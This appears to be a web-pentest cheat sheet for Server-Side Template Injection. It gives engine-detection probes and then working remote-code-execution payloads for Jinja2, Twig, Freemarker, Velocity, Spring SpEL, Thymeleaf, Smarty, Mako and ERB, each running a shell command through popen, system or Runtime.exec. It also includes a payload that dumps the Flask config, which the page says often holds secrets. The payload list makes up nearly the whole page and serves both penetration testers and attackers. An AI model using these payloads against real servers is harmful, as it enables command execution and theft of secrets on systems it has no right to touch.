web-pentest
SSTI — Server-Side Template Injection
Server-Side Template Injection — engine detection plus RCE payloads for Jinja2, Twig, Freemarker, Velocity, Spring SpEL, Thymeleaf, Smarty, Mako and ERB.
Detection (6)
{{7*7}}
49 → Jinja2 / Twig
${7*7}
49 → Freemarker / Spring SpEL / JSP EL
#{7*7}
49 → Ruby (Slim) / Thymeleaf
<%= 7*7 %>
49 → ERB (Ruby) / EJS
{{7*'7'}}
7777777 → Jinja2; 49 → Twig (disambiguate the two)
${{<%[%'"}}%\
Polyglot — fire everywhere and watch which errors
Jinja2 (Python) (5)
{{config}}
Dump the Flask config (frequently contains secrets)
{{cycler.__init__.__globals__.os.popen('id').read()}}
RCE via cycler globals (modern, reliable)
{{lipsum.__globals__.os.popen('id').read()}}
RCE via the lipsum global
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
RCE via request globals
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
RCE via self/builtins
Twig (PHP) (3)
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
RCE via the undefined-filter callback
{{['id']|filter('system')}}
RCE via the filter() function
{{['id',""]|sort('system')}}
RCE via the sort() callback
Java — Freemarker / Velocity (3)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Freemarker RCE via Execute
${"freemarker.template.utility.Execute"?new()("id")}
Freemarker one-liner RCE
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")
Velocity RCE chain
Java — Spring SpEL / Thymeleaf (3)
${T(java.lang.Runtime).getRuntime().exec("id")}
Spring SpEL RCE
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
Thymeleaf preprocessing RCE
*{T(java.lang.Runtime).getRuntime().exec("id")}
Thymeleaf expression RCE
Smarty / Mako / ERB (4)
{system('id')}
Smarty (PHP) direct command exec
{php}system('id');{/php}
Smarty {php} tag (older versions)
${__import__('os').popen('id').read()}
Mako (Python) RCE
<%= system('id') %>
ERB (Ruby) command exec
Related Articles
5
Web Hacking
JSON and YAML Unsafe Deserialization
Deep technical analysis of insecure deserialization across Java, PHP, Python, and Node.js …
Web Hacking
Supply Chain Attacks
Deep technical guide to software supply chain attacks — dependency confusion, malicious np…
Web Hacking
Cross-Site Scripting Mastery
Complete XSS guide covering all attack types, filter bypasses, CSP evasion, cookie stealin…
Web Hacking
File Upload to RCE
Complete file upload exploitation guide — MIME bypass, double extension tricks, polyglot J…
Web Hacking
Advanced SSRF
Complete SSRF exploitation guide — AWS IMDSv1/v2 credential theft, GCP/Azure metadata, bli…
